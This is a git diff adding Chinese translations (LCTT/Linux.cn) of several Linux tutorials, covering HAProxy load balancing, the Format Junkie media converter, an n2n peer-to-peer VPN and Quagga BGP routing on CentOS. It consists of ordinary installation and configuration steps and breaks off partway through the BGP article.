+作者:[Bruce Byfield][a] +译者:[zpl1025](https://github.com/zpl1025) +校对:[Mr小眼儿](https://github.com/tinyeyeser) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[a]:http://www.datamation.com/author/Bruce-Byfield-6030.html diff --git a/published/201501/20141008 How to configure HTTP load balancer with HAProxy on Linux.md b/published/201501/20141008 How to configure HTTP load balancer with HAProxy on Linux.md new file mode 100644 index 0000000000..bd7c865cda --- /dev/null +++ b/published/201501/20141008 How to configure HTTP load balancer with HAProxy on Linux.md @@ -0,0 +1,274 @@ +使用 HAProxy 配置 HTTP 负载均衡器 +================================================================================ +随着基于 Web 的应用和服务的增多,IT 系统管理员肩上的责任也越来越重。当遇到不可预期的事件如流量达到高峰,流量增大或者内部的挑战比如硬件的损坏或紧急维修,无论如何,你的 Web 应用都必须要保持可用性。甚至现在流行的 devops 和持续交付(CD)也可能威胁到你的 Web 服务的可靠性和性能的一致性。 + +不可预测,不一致的性能表现是你无法接受的。但是我们怎样消除这些缺点呢?大多数情况下一个合适的负载均衡解决方案可以解决这个问题。今天我会给你们介绍如何使用 [HAProxy][1] 配置 HTTP 负载均衡器。 + +###什么是 HTTP 负载均衡? ### + +HTTP 负载均衡是一个网络解决方案,它将进入的 HTTP 或 HTTPs 请求分配至一组提供相同的 Web 应用内容的服务器用于响应。通过将请求在这样的多个服务器间进行均衡,负载均衡器可以防止服务器出现单点故障,可以提升整体的可用性和响应速度。它还可以让你能够简单的通过添加或者移除服务器来进行横向扩展或收缩,对工作负载进行调整。 + +### 什么时候,什么情况下需要使用负载均衡? ### + +负载均衡可以提升服务器的使用性能和最大可用性,当你的服务器开始出现高负载时就可以使用负载均衡。或者你在为一个大型项目设计架构时,在前端使用负载均衡是一个很好的习惯。当你的环境需要扩展的时候它会很有用。 + +### 什么是 HAProxy? ### + +HAProxy 是一个流行的开源的 GNU/Linux 平台下的 TCP/HTTP 服务器的负载均衡和代理软件。HAProxy 是单线程,事件驱动架构,可以轻松的处理 [10 Gbps 速率][2] 的流量,在生产环境中被广泛的使用。它的功能包括自动健康状态检查,自定义负载均衡算法,HTTPS/SSL 支持,会话速率限制等等。 + +### 这个教程要实现怎样的负载均衡 ### + +在这个教程中,我们会为 HTTP Web 服务器配置一个基于 HAProxy 的负载均衡。 + +### 准备条件 ### + +你至少要有一台,或者最好是两台 Web 服务器来验证你的负载均衡的功能。我们假设后端的 HTTP Web 服务器已经配置好并[可以运行][3]。 + + +## 在 Linux 中安装 HAProxy ## + +对于大多数的发行版,我们可以使用发行版的包管理器来安装 HAProxy。 + +### 在 Debian 中安装 HAProxy ### + +在 Debian Wheezy 中我们需要添加源,在 /etc/apt/sources.list.d 下创建一个文件 "backports.list" ,写入下面的内容 + + deb http://cdn.debian.net/debian wheezy­backports main + +刷新仓库的数据,并安装 HAProxy + + # apt­ get update + # apt ­get install haproxy + +### 在 Ubuntu 中安装 HAProxy ### + + # apt ­get install haproxy + +### 在 CentOS 和 RHEL 中安装 HAProxy ### + + # yum install haproxy + +## 配置 HAProxy ## + +本教程假设有两台运行的 HTTP Web 服务器,它们的 IP 地址是 192.168.100.2 和 192.168.100.3。我们将负载均衡配置在 192.168.100.4 的这台服务器上。 + +为了让 HAProxy 工作正常,你需要修改 /etc/haproxy/haproxy.cfg 中的一些选项。我们会在这一节中解释这些修改。一些配置可能因 GNU/Linux 发行版的不同而变化,这些会被标注出来。 + +### 1. 配置日志功能 ### + +你要做的第一件事是为 HAProxy 配置日志功能,在排错时日志将很有用。日志配置可以在 /etc/haproxy/haproxy.cfg 的 global 段中找到他们。下面是针对不同的 Linux 发型版的 HAProxy 日志配置。 + +#### CentOS 或 RHEL:#### + +在 CentOS/RHEL中启用日志,将下面的: + + log 127.0.0.1 local2 + +替换为: + + log 127.0.0.1 local0 + +然后配置 HAProxy 在 /var/log 中的日志分割,我们需要修改当前的 rsyslog 配置。为了简洁和明了,我们在 /etc/rsyslog.d 下创建一个叫 haproxy.conf 的文件,添加下面的内容: + + $ModLoad imudp + $UDPServerRun 514 + $template Haproxy,"%msg%\n" + local0.=info ­/var/log/haproxy.log;Haproxy + local0.notice ­/var/log/haproxy­status.log;Haproxy + local0.* ~ + +这个配置会基于 $template 在 /var/log 中分割 HAProxy 日志。现在重启 rsyslog 应用这些更改。 + + # service rsyslog restart + +####Debian 或 Ubuntu:#### + +在 Debian 或 Ubuntu 中启用日志,将下面的内容 + + log /dev/log local0 + log /dev/log local1 notice + +替换为: + + log 127.0.0.1 local0 + +然后为 HAProxy 配置日志分割,编辑 /etc/rsyslog.d/ 下的 haproxy.conf (在 Debian 中可能叫 49-haproxy.conf),写入下面你的内容 + + $ModLoad imudp + $UDPServerRun 514 + $template Haproxy,"%msg%\n" + local0.=info ­/var/log/haproxy.log;Haproxy + local0.notice ­/var/log/haproxy­status.log;Haproxy + local0.* ~ + +这个配置会基于 $template 在 /var/log 中分割 HAProxy 日志。现在重启 rsyslog 应用这些更改。 + + # service rsyslog restart + +### 2. 设置默认选项 ### + +下一步是设置 HAProxy 的默认选项。在 /etc/haproxy/haproxy.cfg 的 default 段中,替换为下面的配置: + + defaults + log global + mode http + option httplog + option dontlognull + retries 3 + option redispatch + maxconn 20000 + contimeout 5000 + clitimeout 50000 + srvtimeout 50000 + +上面的配置是当 HAProxy 为 HTTP 负载均衡时建议使用的,但是并不一定是你的环境的最优方案。你可以自己研究 HAProxy 的手册并配置它。 + +### 3. Web 集群配置 ### + +Web 集群配置定义了一组可用的 HTTP 服务器。我们的负载均衡中的大多数设置都在这里。现在我们会创建一些基本配置,定义我们的节点。将配置文件中从 frontend 段开始的内容全部替换为下面的: + + listen webfarm *:80 + mode http + stats enable + stats uri /haproxy?stats + stats realm Haproxy\ Statistics + stats auth haproxy:stats + balance roundrobin + cookie LBN insert indirect nocache + option httpclose + option forwardfor + server web01 192.168.100.2:80 cookie node1 check + server web02 192.168.100.3:80 cookie node2 check + +"listen webfarm \*:80" 定义了负载均衡器监听的地址和端口。为了教程的需要,我设置为 "*" 表示监听在所有接口上。在真实的场景汇总,这样设置可能不太合适,应该替换为可以从 internet 访问的那个网卡接口。 + + stats enable + stats uri /haproxy?stats + stats realm Haproxy\ Statistics + stats auth haproxy:stats + +上面的设置定义了,负载均衡器的状态统计信息可以通过 http://\/haproxy?stats 访问。访问需要简单的 HTTP 认证,用户名为 "haproxy" 密码为 "stats"。这些设置可以替换为你自己的认证方式。如果你不需要状态统计信息,可以完全禁用掉。 + +下面是一个 HAProxy 统计信息的例子 + +![](https://farm4.staticflickr.com/3928/15416835905_a678c8f286_c.jpg) + +"balance roundrobin" 这一行表明我们使用的负载均衡类型。这个教程中,我们使用简单的轮询算法,可以完全满足 HTTP 负载均衡的需要。HAProxy 还提供其他的负载均衡类型: + +- **leastconn**:将请求调度至连接数最少的服务器­ +- **source**:对请求的客户端 IP 地址进行哈希计算,根据哈希值和服务器的权重将请求调度至后端服务器。 +- **uri**:对 URI 的左半部分(问号之前的部分)进行哈希,根据哈希结果和服务器的权重对请求进行调度 +- **url_param**:根据每个 HTTP GET 请求的 URL 查询参数进行调度,使用固定的请求参数将会被调度至指定的服务器上 +- **hdr(name**):根据 HTTP 首部中的 \ 字段来进行调度 + +"cookie LBN insert indirect nocache" 这一行表示我们的负载均衡器会存储 cookie 信息,可以将后端服务器池中的节点与某个特定会话绑定。节点的 cookie 存储为一个自定义的名字。这里,我们使用的是 "LBN",你可以指定其他的名称。后端节点会保存这个 cookie 的会话。 + + server web01 192.168.100.2:80 cookie node1 check + server web02 192.168.100.3:80 cookie node2 check + +上面是我们的 Web 服务器节点的定义。服务器有由内部名称(如web01,web02),IP 地址和唯一的 cookie 字符串表示。cookie 字符串可以自定义,我这里使用的是简单的 node1,node2 ... node(n) + +## 启动 HAProxy ## + +如果你完成了配置,现在启动 HAProxy 并验证是否运行正常。 + +### 在 Centos/RHEL 中启动 HAProxy ### + +让 HAProxy 开机自启,使用下面的命令 + + # chkconfig haproxy on + # service haproxy start + +当然,防火墙需要开放 80 端口,像下面这样 + +####CentOS/RHEL 7 的防火墙#### + + # firewall­cmd ­­permanent ­­zone=public ­­add­port=80/tcp + # firewall­cmd ­­reload + +####CentOS/RHEL 6 的防火墙#### + +把下面内容加至 /etc/sysconfig/iptables 中的 ":OUTPUT ACCEPT" 段中 + + ­A INPUT ­m state ­­state NEW ­m tcp ­p tcp ­­dport 80 ­j ACCEPT + +重启**iptables**: + + # service iptables restart + +### 在 Debian 中启动 HAProxy ### + +启动 HAProxy + + # service haproxy start + +不要忘了防火墙开放 80 端口,在 /etc/iptables.up.rules 中加入: + + ­A INPUT ­p tcp ­­dport 80 ­j ACCEPT + +### 在 Ubuntu 中启动HAProxy ### + +让 HAProxy 开机自动启动在 /etc/default/haproxy 中配置 + + ENABLED=1 + +启动 HAProxy: + + # service haproxy start + +防火墙开放 80 端口: + + # ufw allow 80 + +## 测试 HAProxy ## + +检查 HAProxy 是否工作正常,我们可以这样做 + +首先准备一个 test.php 文件,文件内容如下 + + + +这个 PHP 文件会告诉我们哪台服务器(如负载均衡)转发了请求,哪台后端 Web 服务器实际处理了请求。 + +将这个 PHP 文件放到两个后端 Web 服务器的 Web 根目录中。然后用 curl 命令通过负载均衡器(192.168.100.4)访问这个文件 + + $ curl http://192.168.100.4/test.php + +我们多次运行这个命令此时,会发现交替的输出下面的内容(因为使用了轮询算法): + + Server IP: 192.168.100.2 + X-Forwarded-for: 192.168.100.4 + +---------- + + Server IP: 192.168.100.3 + X-Forwarded-for: 192.168.100.4 + +如果我们停掉一台后端 Web 服务,curl 命令仍然正常工作,请求被分发至另一台可用的 Web 服务器。 + +## 总结 ## + +现在你有了一个完全可用的负载均衡器,以轮询的模式对你的 Web 节点进行负载均衡。还可以去实验其他的配置选项以适应你的环境。希望这个教程可以帮助你们的 Web 项目有更好的可用性。 + +你可能已经发现了,这个教程只包含单台负载均衡的设置。这意味着我们仍然有单点故障的问题。在真实场景中,你应该至少部署 2 台或者 3 台负载均衡以防止意外发生,但这不是本教程的范围。 + +如果你有任何问题或建议,请在评论中提出,我会尽我的努力回答。 + +-------------------------------------------------------------------------------- + +via: http://xmodulo.com/haproxy-http-load-balancer-linux.html + +作者:[Jaroslav Štěpánek][a] +译者:[Liao](https://github.com/liaoishere) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[a]:http://xmodulo.com/author/jaroslav +[1]:http://www.haproxy.org/ +[2]:http://www.haproxy.org/10g.html +[3]:http://linux.cn/article-1567-1.html diff --git a/published/201501/20141009 How to convert image audio and video formats on Ubuntu.md b/published/201501/20141009 How to convert image audio and video formats on Ubuntu.md new file mode 100644 index 0000000000..93dd76f5a6 --- /dev/null +++ b/published/201501/20141009 How to convert image audio and video formats on Ubuntu.md @@ -0,0 +1,87 @@ +如何在Ubuntu上转换图像、音频和视频格式 +================================================================================ + +如果你的工作中需要接触到各种不同编码格式的图像、音频和视频,那么你很有可能正在使用多个工具来转换这些多种多样的媒体格式。如果存在一个能够处理所有图像/音频/视频格式的多合一转换工具,那就太好了。 + +[Format Junkie][1] 就是这样一个多合一的媒体转换工具,它有着极其友好的用户界面。更棒的是它是一个免费软件。你可以使用 Format Junkie 来转换几乎所有的流行格式的图像、音频、视频和归档文件(或称压缩文件),所有这些只需要简单地点击几下鼠标而已。 + +### 在Ubuntu 12.04, 12.10 和 13.04 上安装 Format Junkie ### + +Format Junkie 可以通过 Ubuntu PPA format-junkie-team 进行安装。这个PPA支持Ubuntu 12.04, 12.10 和 13.04。在以上任意一种Ubuntu版本中安装Format Junkie的话,简单的执行以下命令即可: + + $ sudo add-apt-repository ppa:format-junkie-team/release + $ sudo apt-get update + $ sudo apt-get install formatjunkie + $ sudo ln -s /opt/extras.ubuntu.com/formatjunkie/formatjunkie /usr/bin/formatjunkie + +### 将 Format Junkie 安装到 Ubuntu 13.10 ### + +如果你正在运行Ubuntu 13.10 (Saucy Salamander),你可以按照以下步骤下载 .deb 安装包来进行安装。由于Format Junkie 的 .deb 安装包只有很少的依赖包,所以使用 [gdebi deb installer][2] 来安装它。 + +在32位版Ubuntu 13.10上: + + $ wget https://launchpad.net/~format-junkie-team/+archive/release/+files/formatjunkie_1.07-1~raring0.2_i386.deb + $ sudo gdebi formatjunkie_1.07-1~raring0.2_i386.deb + $ sudo ln -s /opt/extras.ubuntu.com/formatjunkie/formatjunkie /usr/bin/formatjunkie + +在32位版Ubuntu 13.10上: + + $ wget https://launchpad.net/~format-junkie-team/+archive/release/+files/formatjunkie_1.07-1~raring0.2_amd64.deb + $ sudo gdebi formatjunkie_1.07-1~raring0.2_amd64.deb + $ sudo ln -s /opt/extras.ubuntu.com/formatjunkie/formatjunkie /usr/bin/formatjunkie + +### 将 Format Junkie 安装到 Ubuntu 14.04 或之后版本 ### + +现有可供使用的官方 Format Junkie .deb 文件需要 libavcodec-extra-53,不过它从Ubuntu 14.04开始就已经过时了。所以如果你想在Ubuntu 14.04或之后版本上安装Format Junkie,可以使用以下的第三方PPA来代替。 + + $ sudo add-apt-repository ppa:jon-severinsson/ffmpeg + $ sudo add-apt-repository ppa:noobslab/apps + $ sudo apt-get update + $ sudo apt-get install formatjunkie + +### 如何使用 Format Junkie ### + +安装完成后,只需运行以下命令即可启动 Format Junkie: + + $ formatjunkie + +#### 使用 Format Junkie 来转换音频、视频、图像和归档格式 #### + +就像下方展示的一样,Format Junkie 的用户界面简单而且直观。在顶部的音频、视频、图像和iso媒体四个标签当中点击你需要的那个。你可以根据需要添加任意数量的文件用于批量转换。添加文件后,选择输出格式,直接点击 "Start Converting" 按钮进行转换。 + +![](http://farm9.staticflickr.com/8107/8643695905_082b323059.jpg) + +Format Junkie支持以下媒体格式间的转换: + +- **Audio**: mp3, wav, ogg, wma, flac, m4r, aac, m4a, mp2. +- **Video**: avi, ogv, vob, mp4, 3gp, wmv, mkv, mpg, mov, flv, webm. +- **Image**: jpg, png, ico, bmp, svg, tif, pcx, pdf, tga, pnm. +- **Archive**: iso, cso. + +#### 用 Format Junkie 进行字幕编码 #### + +除了媒体转换,Format Junkie 可提供了字幕编码的图形界面。实际的字幕编码是由MEncoder来完成的。为了使用Format Junkie的字幕编码接口,首先你需要安装MEencoder。 + + $ sudo apt-get install mencoder + +然后点击Format Junkie 中的 "Advanced"标签。选择 AVI/subtitle 文件来进行编码,如下所示: + +![](http://farm9.staticflickr.com/8100/8644791396_bfe602cd16.jpg) + +总而言之,Format Junkie 是一个非常易于使用和多才多艺的媒体转换工具。但也有一个缺陷,它不允许对转换进行任何定制化(例如:比特率,帧率,采样频率,图像质量,尺寸)。所以这个工具推荐给正在寻找一个简单易用的媒体转换工具的新手使用。 + +喜欢这篇文章吗?请在下面发表评论吧。多谢! + +-------------------------------------------------------------------------------- + +via: http://xmodulo.com/how-to-convert-image-audio-and-video-formats-on-ubuntu.html + +作者:[Dan Nanni][a] +译者:[Ping](https://github.com/mr-ping) +校对:[Caroline](https://github.com/carolinewuyan) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[a]:http://xmodulo.com/author/nanni +[1]:https://launchpad.net/format-junkie +[2]:http://xmodulo.com/how-to-install-deb-file-with-dependencies.html diff --git a/published/201501/20141013 How to configure peer-to-peer VPN on Linux.md b/published/201501/20141013 How to configure peer-to-peer VPN on Linux.md new file mode 100644 index 0000000000..4728bff895 --- /dev/null +++ b/published/201501/20141013 How to configure peer-to-peer VPN on Linux.md @@ -0,0 +1,105 @@ +如何在 Linux 上配置点对点 VPN +================================================================================ +一个传统的 VPN(如 OpenVPN、PPTP)由一个 VPN 服务器和一个或多个连接到这台服务器的客户端组成。当任意两个 VPN 客户端彼此通信时,VPN 服务器需要中继它们之间的 VPN 数据流量。这样一个中心辐射型的 VPN 拓扑结构存在的问题是,当连接的客户端增多以后,VPN 服务器很容易成为一个性能上的瓶颈。从某种意义上来说,中心化的 VPN 服务器也同样成为一个单点故障的来源,也就是当 VPN 服务器出现故障的时候,整个 VPN 都将无法被任何 VPN 客户端访问。 + +点对点 VPN(又称 P2P VPN)是另一个 VPN 模型,它能解决传统的基于服务器-客户端模型的 VPN 存在的这些问题。一个 P2P VPN 中不再有一个中心的 VPN 服务器,任何拥有一个公开 IP 地址的节点都能引导其他节点进入 VPN。当连接到一个 VPN 之后,每一个节点都能与 VPN 中的任何其他节点直接通信,而不需要经过一个中间的服务器节点。当然任何节点出现故障时,VPN 中的剩余节点不会受到影响。节点中的延迟、带宽以及 VPN 扩展性在这样的设定中都有自然的提升,当你想要使用 VPN 进行多人游戏或者与许多朋友分享文件时,这都是十分理想的。 + +开源的 P2P VPN 实现已经有几个了,比如 [Tinc][1]、peerVPN,以及 [n2n][2]。在本教程中,我将会展示**如何在 Linux 上用** n2n **配置点对点 VPN**。 + +n2n 是一个开源(GPLv3)软件,它允许你在用户间构建一个加密的 2/3 层点对点 VPN。由 n2n 构建的 VPN 是“对 NAT 友好”的,也就是说,不同 NAT 路由器后方的两个用户可以通过 VPN 直接与对方通信。n2n 支持对称的 NAT 类型,这是 NAT 中限制最多的一种。因此,n2n 的 VPN 数据流量是用 UDP 封装的。 + +一个 n2n VPN 由两类节点组成:边缘(edge)节点和超级(super)节点。一个边缘节点是一台连接到 VPN 的电脑,它可能在一个 NAT 路由器后方。一个超级节点则是拥有一个可以公共访问的 IP 地址的电脑,它将会帮助 NAT 后方的边缘节点进行初始通信。想要在用户中创建一个 P2P VPN 的话,我们需要至少一个超级节点。 + +![](https://farm3.staticflickr.com/2948/15460916306_fc18fd9d76_o.png) + +### 准备工作 ### + +在这篇教程中,我将会创建一个拥有 3 个节点的 P2P VPN:一个超级节点和两个边缘节点。唯一的要求是,边缘节点需要能够 ping 通超级节点的 IP 地址,而它们是否在 NAT 路由器之后则没有什么关系。 + +### 在 Linux 上安装 n2n ### + +若想用 n2n 构建一个 P2P VPN,你需要在每个节点上安装 n2n,包括超级节点。 + +由于它非常精简的依赖需求,在大多数 Linux 平台上 n2n 都能被轻松编译。 + +在基于 Debian 的系统上安装 n2n: + + $ sudo apt-get install subversion build-essential libssl-dev + $ svn co https://svn.ntop.org/svn/ntop/trunk/n2n + $ cd n2n/n2n_v2 + $ make + $ sudo make install + +在基于 Red Hat 的系统上安装 n2n: + + $ sudo yum install subversion gcc-c++ openssl-devel + $ svn co https://svn.ntop.org/svn/ntop/trunk/n2n + $ cd n2n/n2n_v2 + $ make + $ sudo make install + +### 用 n2n 配置一个 P2P VPN ### + +如前文所述,我们需要至少一个超级节点,它将会作为一个初始化引导服务器。我们假设这个超级节点的 IP 地址是 1.1.1.1。 + +#### 超级节点: #### + +在一个作为超级节点的电脑上运行下面的命令。其中“-l <端口>”指定超级节点的监听端口。运行 supernode 并不需要 root 权限。 + + $ supernode -l 5000 + +#### 边缘节点: #### + +在每个边缘节点上,使用下面的命令来连接到一个 P2P VPN。edge 守护程序将会在后台运行。 + +边缘节点 #1: + + $ sudo edge -d edge0 -a 10.0.0.10 -c mynetwork -u 1000 -g 1000 -k password -l 1.1.1.1:5000 -m ae:e0:4f:e7:47:5b + +边缘节点 #2: + + $ sudo edge -d edge0 -a 10.0.0.11 -c mynetwork -u 1000 -g 1000 -k password -l 1.1.1.1:5000 -m ae:e0:4f:e7:47:5c + +下面是对命令行的一些解释: + +- “-d <接口名>”选项指定了由 edge 命令创建的 TAP 接口的名字。 +- “-a ”选项(静态地)指定了分配给 TAP 接口的 VPN 的 IP 地址。如果你想要使用 DHCP,你需要在其中一台边缘节点上配置一台 DHCP 服务器,然后使用“-a dhcp:0.0.0.0”选项来代替。 +- “-c <组名>”选项指定了 VPN 组的名字(最大长度为 16 个字节)。这个选项可以被用来在同样一组节点中创建多个 VPN。 +- “-u”和“-g”选项被用来在创建一个 TAP 接口后降权放弃 root 权限。edge 守护进程将会作为指定的用户/组 ID 运行。 +- “-k <密钥>”选项指定了一个由 twofish 加密的密钥来使用。如果你想要将密钥从命令行中隐藏,你可以使用 N2N_KEY 环境变量。 +- “-l ”选项指定了超级节点的监听 IP 地址和端口号。为了冗余,你可以指定最多两个不同的超级节点(比如 -l <超级节点 A> -l <超级节点 B>)。 +- “-m ”给 TAP 接口分配了一个静态的 MAC 地址。不使用这个参数的话,edge 命令将会随机生成一个 MAC 地址。事实上,为一个 VPN 接口强制指定一个静态的 MAC 地址是被强烈推荐的做法。否则,比如当你在一个节点上重启了 edge 守护程序的时候,其它节点的 ARP 缓存将会由于新生成的 MAC 地址而遭到污染,它们将不能向这个节点发送数据,直到被污染的 ARP 记录被消除。 + +![](https://farm3.staticflickr.com/2946/15460918796_72c7c4e461_b.jpg) + +至此,你应该能够从一个边缘节点用 VPN IP 地址 ping 通另一个边缘节点了。 + +### 故障排除 ### + +1. 在调用 edge 守护程序的时候得到了如下错误。 + + n2n[4405]: ERROR: ioctl() [Operation not permitted][-1] + +注意 edge 守护进程需要超级用户权限来创建一个 TAP 接口。因此需要确定用 root 权限来执行,或者对 edge 命令设置 SUID。之后你总是可以使用“-u”和“-g”选项来降权放弃 root 权限。 + +### 总结 ### + +n2n 可以成为对你来说非常实用的免费 VPN 解决方案。你可以轻松地配置一个超级节点,无论是用你自己家里的网络,还是从[云主机][3]提供商购买一个可以公共访问的 VPS 实例。你不再需要把敏感的凭据和密钥放在第三方 VPN 提供商的手里,使用 n2n,你可以在你的朋友中配置你自己的低延迟、高带宽、可扩展的 P2P VPN。 + +你对 n2n 有什么想法吗?请在评论中分享你的观点。 + + +-------------------------------------------------------------------------------- + +via: http://xmodulo.com/configure-peer-to-peer-vpn-linux.html + +作者:[Dan Nanni][a] +译者:[felixonmars](https://github.com/felixonmars) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[a]:http://xmodulo.com/author/nanni +[1]:http://xmodulo.com/how-to-install-and-configure-tinc-vpn.html +[2]:http://www.ntop.org/products/n2n/ +[3]:http://xmodulo.com/go/digitalocean diff --git a/published/201501/20141023 How to turn your CentOS box into a BGP router using Quagga.md b/published/201501/20141023 How to turn your CentOS box into a BGP router using Quagga.md new file mode 100644 index 0000000000..7aa80fa3a3 --- /dev/null +++ b/published/201501/20141023 How to turn your CentOS box into a BGP router using Quagga.md @@ -0,0 +1,324 @@ +使用 Quagga 将你的 CentOS 系统变成一个 BGP 路由器 +================================================================================ + +在[之前的教程中][1],我对如何简单地使用Quagga把CentOS系统变成一个不折不扣地OSPF路由器做了一些介绍。Quagga是一个开源路由软件套件。在这个教程中,我将会重点讲讲**如何把一个Linux系统变成一个BGP路由器,还是使用Quagga**,演示如何建立BGP与其它BGP路由器对等。 + +在我们进入细节之前,一些BGP的背景知识还是必要的。边界网关协议(即BGP)是互联网的域间路由协议的实际标准。在BGP术语中,全球互联网是由成千上万相关联的自治系统(AS)组成,其中每一个AS代表每一个特定运营商提供的一个网络管理域([据说][2],美国前总统乔治.布什都有自己的 AS 编号)。 + +为了使其网络在全球范围内路由可达,每一个AS需要知道如何在英特网中到达其它的AS。这时候就需要BGP出来扮演这个角色了。BGP是一个AS去与相邻的AS交换路由信息的语言。这些路由信息通常被称为BGP线路或者BGP前缀。包括AS号(ASN;全球唯一号码)以及相关的IP地址块。一旦所有的BGP线路被当地的BGP路由表学习和记录,每一个AS将会知道如何到达互联网的任何公网IP。 + +在不同域(AS)之间路由的能力是BGP被称为外部网关协议(EGP)或者域间协议的主要原因。就如一些路由协议,例如OSPF、IS-IS、RIP和EIGRP都是内部网关协议(IGPs)或者域内路由协议,用于处理一个域内的路由. + +### 测试方案 ### + +在这个教程中,让我们来使用以下拓扑。 + +![](https://farm6.staticflickr.com/5598/15603223841_4c76343313_z.jpg) + +我们假设运营商A想要建立一个BGP来与运营商B对等交换路由。它们的AS号和IP地址空间的细节如下所示: + +- **运营商 A**: ASN (100), IP地址空间 (100.100.0.0/22), 分配给BGP路由器eth1网卡的IP地址(100.100.1.1) + +- **运营商 B**: ASN (200), IP地址空间 (200.200.0.0/22), 分配给BGP路由器eth1网卡的IP地址(200.200.1.1) + +路由器A和路由器B使用100.100.0.0/30子网来连接到对方。从理论上来说,任何子网从运营商那里都是可达的、可互连的。在真实场景中,建议使用掩码为30位的公网IP地址空间来实现运营商A和运营商B之间的连通。 + +### 在 CentOS中安装Quagga ### + +如果Quagga还没安装好,我们可以使用yum来安装Quagga。 + + # yum install quagga + +如果你正在使用的是CentOS7系统,你需要应用一下策略来设置SELinux。否则,SElinux将会阻止Zebra守护进程写入它的配置目录。如果你正在使用的是CentOS6,你可以跳过这一步。 + + # setsebool -P zebra_write_config 1 + +Quagga软件套件包含几个守护进程,这些进程可以协同工作。关于BGP路由,我们将把重点放在建立以下2个守护进程。 + +- **Zebra**:一个核心守护进程用于内核接口和静态路由. +- **BGPd**:一个BGP守护进程. + +### 配置日志记录 ### + +在Quagga被安装后,下一步就是配置Zebra来管理BGP路由器的网络接口。我们通过创建一个Zebra配置文件和启用日志记录来开始第一步。 + + # cp /usr/share/doc/quagga-XXXXX/zebra.conf.sample /etc/quagga/zebra.conf + +在CentOS6系统中: + + # service zebra start + # chkconfig zebra on + +在CentOS7系统中: + + # systemctl start zebra + # systemctl enable zebra + +Quagga提供了一个叫做vtysh特有的命令行工具,你可以输入与路由器厂商(例如Cisco和Juniper)兼容和支持的命令。我们将使用vtysh shell来配置BGP路由在教程的其余部分。 + +启动vtysh shell 命令,输入: + + # vtysh + +提示将被改成该主机名,这表明你是在vtysh shell中。 + + Router-A# + +现在我们将使用以下命令来为Zebra配置日志文件: + + Router-A# configure terminal + Router-A(config)# log file /var/log/quagga/quagga.log + Router-A(config)# exit + +永久保存Zebra配置: + + Router-A# write + +在路由器B操作同样的步骤。 + +### 配置对等的IP地址 ### + +下一步,我们将在可用的接口上配置对等的IP地址。 + + Router-A# show interface #显示接口信息 + +---------- + + Interface eth0 is up, line protocol detection is disabled + . . . . . + Interface eth1 is up, line protocol detection is disabled + . . . . . + +配置eth0接口的参数: + + site-A-RTR# configure terminal + site-A-RTR(config)# interface eth0 + site-A-RTR(config-if)# ip address 100.100.0.1/30 + site-A-RTR(config-if)# description "to Router-B" + site-A-RTR(config-if)# no shutdown + site-A-RTR(config-if)# exit + + +继续配置eth1接口的参数: + + site-A-RTR(config)# interface eth1 + site-A-RTR(config-if)# ip address 100.100.1.1/24 + site-A-RTR(config-if)# description "test ip from provider A network" + site-A-RTR(config-if)# no shutdown + site-A-RTR(config-if)# exit + +现在确认配置: + + Router-A# show interface + +---------- + + Interface eth0 is up, line protocol detection is disabled + Description: "to Router-B" + inet 100.100.0.1/30 broadcast 100.100.0.3 + Interface eth1 is up, line protocol detection is disabled + Description: "test ip from provider A network" + inet 100.100.1.1/24 broadcast 100.100.1.255 + +---------- + + Router-A# show interface description #显示接口描述 + +---------- + + Interface Status Protocol Description + eth0 up unknown "to Router-B" + eth1 up unknown "test ip from provider A network" + + +如果一切看起来正常,别忘记保存配置。 + + Router-A# write + +同样地,在路由器B重复一次配置。 + +在我们继续下一步之前,确认下彼此的IP是可以ping通的。 + + Router-A# ping 100.100.0.2 + +---------- + + PING 100.100.0.2 (100.100.0.2) 56(84) bytes of data. + 64 bytes from 100.100.0.2: icmp_seq=1 ttl=64 time=0.616 ms + +下一步,我们将继续配置BGP对等和前缀设置。 + +### 配置BGP对等 ### + +Quagga守护进程负责BGP的服务叫bgpd。首先我们来准备它的配置文件。 + + # cp /usr/share/doc/quagga-XXXXXXX/bgpd.conf.sample /etc/quagga/bgpd.conf + +在CentOS6系统中: + + # service bgpd start + # chkconfig bgpd on + +在CentOS7中: + + # systemctl start bgpd + # systemctl enable bgpd + +现在,让我们来进入Quagga 的shell。 + + # vtysh + +第一步,我们要确认当前没有已经配置的BGP会话。在一些版本,我们可能会发现一个AS号为7675的BGP会话。由于我们不需要这个会话,所以把它移除。 + + Router-A# show running-config + +---------- + + ... ... ... + router bgp 7675 + bgp router-id 200.200.1.1 + ... ... ... + +我们将移除一些预先配置好的BGP会话,并建立我们所需的会话取而代之。 + + Router-A# configure terminal + Router-A(config)# no router bgp 7675 + Router-A(config)# router bgp 100 + Router-A(config)# no auto-summary + Router-A(config)# no synchronizaiton + Router-A(config-router)# neighbor 100.100.0.2 remote-as 200 + Router-A(config-router)# neighbor 100.100.0.2 description "provider B" + Router-A(config-router)# exit + Router-A(config)# exit + Router-A# write + +路由器B将用同样的方式来进行配置,以下配置提供作为参考。 + + Router-B# configure terminal + Router-B(config)# no router bgp 7675 + Router-B(config)# router bgp 200 + Router-B(config)# no auto-summary + Router-B(config)# no synchronizaiton + Router-B(config-router)# neighbor 100.100.0.1 remote-as 100 + Router-B(config-router)# neighbor 100.100.0.1 description "provider A" + Router-B(config-router)# exit + Router-B(config)# exit + Router-B# write + + +当相关的路由器都被配置好,两台路由器之间的对等将被建立。现在让我们通过运行下面的命令来确认: + + Router-A# show ip bgp summary + +![](https://farm6.staticflickr.com/5614/15420135700_e3568d2e5f_z.jpg) + + +从输出中,我们可以看到"State/PfxRcd"部分。如果对等关闭,输出将会显示"Idle"或者"Active'。请记住,单词'Active'这个词在路由器中总是不好的意思。它意味着路由器正在积极地寻找邻居、前缀或者路由。当对等是up状态,"State/PfxRcd"下的输出状态将会从特殊邻居接收到前缀号。 + +在这个例子的输出中,BGP对等只是在AS100和AS200之间呈up状态。因此没有前缀被更改,所以最右边列的数值是0。 + +### 配置前缀通告 ### + +正如一开始提到,AS 100将以100.100.0.0/22作为通告,在我们的例子中AS 